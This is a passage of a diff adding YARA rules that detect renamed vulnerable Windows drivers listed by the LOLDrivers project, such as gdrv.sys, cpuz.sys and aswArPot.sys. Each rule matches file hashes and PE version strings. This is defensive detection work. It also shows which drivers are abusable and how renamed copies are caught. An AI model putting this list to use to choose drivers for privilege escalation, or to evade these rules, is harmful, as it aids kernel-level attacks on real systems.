+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a900200049004f006200690074002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright IObitAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /Monitor_win10_x64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Phoenixtechnologiesltd_Phlashnt_Winphlash_65DB {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PhlashNT.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "65db1b259e305a52042e07e111f4fa4af16542c8bacd33655f753ef642228890"
+		date = "2023-06-14"
+		score = 70
+		id = "d60b5524-2fc9-52d4-8911-57bf41fc47a8"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005300570069006e0046006c006100730068002000440072006900760065007200200066006f0072002000570069006e0064006f007700730020004e0054 } /* FileDescription SWinFlashDriverforWindowsNT */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500068006f0065006e0069007800200054006500630068006e006f006c006f0067006900650073002c0020004c00740064002e } /* CompanyName PhoenixTechnologiesLtd */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e0031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036002e0031002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500048004c004100530048004e0054 } /* InternalName PHLASHNT */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e00500068006c006100730068 } /* ProductName WinPhlash */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500048004c004100530048004e0054002e005300590053 } /* OriginalFilename PHLASHNTSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]002800630029002000500068006f0065006e0069007800200054006500630068006e006f006c006f0067006900650073002c0020004c00740064002e00200032003000300030002d0032003000300033 } /* LegalCopyright cPhoenixTechnologiesLtd */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /PhlashNT/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Arthurliberman_Alsysiosys_Alsysio_7196 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ALSysIO64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7196187fb1ef8d108b380d37b2af8efdeb3ca1f6eefd37b5dc114c609147216d"
+		date = "2023-06-14"
+		score = 70
+		id = "a197bb49-05c6-5f73-a598-2df9ff503ffa"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004c0053007900730049004f } /* FileDescription ALSysIO */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041007200740068007500720020004c0069006200650072006d0061006e } /* CompanyName ArthurLiberman */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0038002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0038002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004c0053007900730049004f002e007300790073 } /* InternalName ALSysIOsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004c0053007900730049004f } /* ProductName ALSysIO */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004c0053007900730049004f002e007300790073 } /* OriginalFilename ALSysIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300033002d003200300030003900200041007200740068007500720020004c0069006200650072006d0061006e } /* LegalCopyright CopyrightCArthurLiberman */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /ALSysIO64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_133E {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "133e542842656197c5d22429bd56d57aa33c9522897fdf29853a6d321033c743"
+		date = "2023-06-14"
+		score = 70
+		id = "e94c3003-24cc-5dfd-baf1-7377497a4b16"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 } /* FileDescription GIGABYTENonPnPDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e } /* CompanyName GIGABYTETECHNOLOGYCOLTD */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e0033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 } /* InternalName gdrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 } /* ProductName GIGABYTESoftwaredriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 } /* OriginalFilename gdrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /gdrv/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Cpuid_Cpuzsys_Cpuidservice_0D37 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "0d3790af5f8e5c945410929e31d06144a471ac82f828afe89a4758a5bbeb7f9f"
+		hash = "523d1d43e896077f32cd9acaa8e85b513bfb7b013a625e56f0d4e9675d9822ba"
+		hash = "df0dcfb3971829af79629efd036b8e1c6e2127481b3644ccc6e2ddd387489a15"
+		hash = "9a523854fe84f15efc1635d7f5d3e71812c45d6a4d2c99c29fdc4b4d9c84954c"
+		hash = "8c95d28270a4a314299cf50f05dcbe63033b2a555195d2ad2f678e09e00393e6"
+		hash = "1ee59eb28688e73d10838c66e0d8e011c8df45b6b43a4ac5d0b75795ca3eb512"
+		hash = "5b3705b47dc15f2b61ca3821b883b9cd114d83fcc3344d11eb1d3df495d75abe"
+		hash = "67734c7c0130dd66c964f76965f09a2290da4b14c94412c0056046e700654bdc"
+		hash = "80eeb8c2890f3535ed14f5881baf2f2226e6763be099d09fb8aadaba5b4474c1"
+		hash = "19696fb0db3fcae22f705ae1eb1e9f1151c823f3ff5d8857e90f2a4a6fdc5758"
+		hash = "e58bbf3251906ff722aa63415bf169618e78be85cb92c8263d3715c260491e90"
+		hash = "11d258e05b850dcc9ecfacccc9486e54bd928aaa3d5e9942696c323fdbd3481b"
+		date = "2023-06-14"
+		score = 70
+		id = "4de41d13-ffdc-56fa-a5fe-c72ea5bf872f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 } /* FileDescription CPUIDDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 } /* CompanyName CPUID */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 } /* InternalName cpuzsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 } /* ProductName CPUIDservice */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 } /* OriginalFilename cpuzsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310030002000430050005500490044 } /* LegalCopyright CopyrightCCPUID */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /cpuz/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Asustek_Driversys_Ectool_927C {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - driver7-x86-withoutdbg.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "927c2a580d51a598177fa54c65e9d2610f5f212f1b6cb2fbf2740b64368f010a"
+		hash = "42851a01469ba97cdc38939b10cf9ea13237aa1f6c37b1ac84904c5a12a81fa0"
+		hash = "771a8d05f1af6214e0ef0886662be500ee910ab99f0154227067fddcfe08a3dd"
+		date = "2023-06-14"
+		score = 70
+		id = "cc670ae4-3be4-5e70-9b8c-4bf52aa3191d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400680065002000640072006900760065007200200066006f007200200074006800650020004500430074006f006f006c0020006400720069007600650072002d0062006100730065006400200074006f006f006c0073 } /* FileDescription ThedriverfortheECtooldriverbasedtools */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300740065006b } /* CompanyName ASUStek */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0035002e0030002e0032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0044007200690076006500720037002e007300790073 } /* InternalName Driversys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0045004300200074006f006f006c } /* ProductName ECtool */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0044007200690076006500720037 } /* OriginalFilename Driver */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020 } /* LegalCopyright Copyright */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /driver7-x86-withoutdbg/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Msi_Ntiolibsys_Ntiolib_CF4B {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "cf4b5fa853ce809f1924df3a3ae3c4e191878c4ea5248d8785dc7e51807a512b"
+		date = "2023-06-14"
+		score = 70
+		id = "853fcdcf-12e5-5783-b582-f8449d575d8c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f00720020004d005300490043006c006f0063006b005f00430043 } /* FileDescription NTIOLibforMSIClockCC */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /NTIOLib/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_D783 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "d783ace822f8fe4e25d5387e5dd249cb72e62f62079023216dc436f1853a150f"
+		date = "2023-06-14"
+		score = 70
+		id = "8cd1c035-64aa-5bad-b2df-f7b50a90c92b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003000330033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000320020002d002000320030003100320020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswarpot_Avastantivirus_4B52 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1"
+		date = "2023-06-14"
+		score = 70
+		id = "4e938de0-3822-57a1-987b-818cb7a169d2"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AvastAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320031002e0031002e003100380037002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320031002e0031002e003100380037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003100200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Biostargroup_Iodriver_Biostariodriverfle_42E1 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - BS_I2cIo.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "42e170a7ab1d2c160d60abfc906872f9cfd0c2ee169ed76f6acb3f83b3eeefdb"
+		hash = "f929bead59e9424ab90427b379dcdd63fbfe0c4fb5e1792e3a1685541cd5ec65"
+		hash = "55fee54c0d0d873724864dc0b2a10b38b7f40300ee9cae4d9baaf8a202c4049a"
+		date = "2023-06-14"
+		score = 70
+		id = "b8fae701-2e8a-542d-8672-4c76f109fa75"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049002f004f00200049006e00740065007200660061006300650020006400720069007600650072002000660069006c0065 } /* FileDescription IOInterfacedriverfile */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00420049004f0053005400410052002000470072006f00750070 } /* CompanyName BIOSTARGroup */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200031002c00200030002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200031002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049002f004f0020006400720069007600650072 } /* InternalName IOdriver */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00420049004f005300540041005200200049002f004f002000640072006900760065007200200066006c0065 } /* ProductName BIOSTARIOdriverfle */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420053005f0049003200630049006f002e007300790073 } /* OriginalFilename BSIcIosys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000300032002d0032003000300036002000420049004f0053005400410052002000470072006f00750070 } /* LegalCopyright CopyrightcBIOSTARGroup */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /BS_I2cIo/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Mitactechnologycorporation_Mtcbsvsys_Mitacsystemserviceprovider_C9CF {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mtcBSv64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "c9cf1d627078f63a36bbde364cd0d5f2be1714124d186c06db5bcdf549a109f8"
+		date = "2023-06-14"
+		score = 70
+		id = "d9c795cd-876a-535f-b64e-55b1cae39da1"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0069005400410043002000530079007300740065006d00200053006500720076006900630065002000500072006f00760069006400650072 } /* FileDescription MiTACSystemServiceProvider */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900540041004300200054006500630068006e006f006c006f0067007900200043006f00720070006f0072006100740069006f006e } /* CompanyName MiTACTechnologyCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320031002c00200031002c00200034002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320031002c00200031002c00200034002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0074006300420053007600360034002e007300790073 } /* InternalName mtcBSvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d0069005400410043002000530079007300740065006d00200053006500720076006900630065002000500072006f00760069006400650072 } /* ProductName MiTACSystemServiceProvider */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d0074006300420053007600360034002e007300790073 } /* OriginalFilename mtcBSvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004d006900540041004300200054006500630068006e006f006c006f0067007900200043006f00720070006f0072006100740069006f006e } /* LegalCopyright CopyrightCMiTACTechnologyCorporation */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /mtcBSv64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_5F65 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "5f6547e9823f94c5b94af1fb69a967c4902f72b6e0c783804835e6ce27f887b0"
+		date = "2023-06-14"
+		score = 70
+		id = "87c2d1a5-15a0-51ef-a1be-8c22ffabf03a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0032002e003100330020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0032002e00310033 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003700200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /iQVW64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_58A7 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viraglt64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "58a74dceb2022cd8a358b92acd1b48a5e01c524c3b0195d7033e4bd55eff4495"
+		date = "2023-06-14"
+		score = 70
+		id = "565bd15e-3769-5fd3-90c7-5e5f75fb3bb5"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* FileDescription VirITAgentSystem */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e } /* CompanyName TGSoftSas */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c002000310031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c002000310031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* InternalName viragtsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* ProductName VirITAgentSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00760069007200610067007400360034002e007300790073 } /* OriginalFilename viragtsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000310031002c002000320030003100360020002d0020007700770077002e007400670073006f00660074002e00690074 } /* LegalCopyright CopyrightCTGSoftSaswwwtgsoftit */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /viraglt64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Panyazilimbilisimteknolojileriticltdsti_Panmonfltxsys_Pancafemanager_0650 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PanMonFltX64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "06508aacb4ed0a1398a2b0da5fa2dbf7da435b56da76fd83c759a50a51c75caf"
+		date = "2023-06-14"
+		score = 70
+		id = "9513ae4a-9a61-51da-823c-76d33b2cf809"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500061006e00430061006600650020004d0061006e0061006700650072002000460069006c00650020004d006f006e00690074006f0072 } /* FileDescription PanCafeManagerFileMonitor */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e } /* CompanyName PanYazilimBilisimTeknolojileriTicLtdSti */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500061006e004d006f006e0046006c0074005800360034002e007300790073 } /* InternalName PanMonFltXsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500061006e00430061006600650020004d0061006e0061006700650072 } /* ProductName PanCafeManager */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500061006e004d006f006e0046006c0074005800360034002e007300790073 } /* OriginalFilename PanMonFltXsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310032002d0032003000310034002000500061006e002000590061007a0131006c0131006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e } /* LegalCopyright CopyrightcPanYazlmBilisimTeknolojileriTicLtdSti */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /PanMonFltX64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_0F17 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "0f17e5cfc5bdd74aff91bfb1a836071345ba2b5d1b47b0d5bf8e7e0d4d5e2dbf"
+		date = "2023-06-14"
+		score = 70
+		id = "f63927d6-7bbf-590d-b3e0-f5cd70160760"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0033002e0034003200320034002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0033002e0034003200320034002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Novellinc_Novellxtier_6C71 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ncpl.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "6c7120e40fc850e4715058b233f5ad4527d1084a909114fd6a36b7b7573c4a44"
+		hash = "3a65d14fd3b1b5981084cdbd293dc6f4558911ea18dd80177d1e5b54d85bcaa0"
+		date = "2023-06-14"
+		score = 70
+		id = "04bee759-d8ca-5f28-9eb5-b6397c58ce8d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c00200043006c00690065006e007400200050006f00720074006100620069006c0069007400790020004c0061007900650072 } /* FileDescription NovellClientPortabilityLayer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e } /* CompanyName NovellInc */
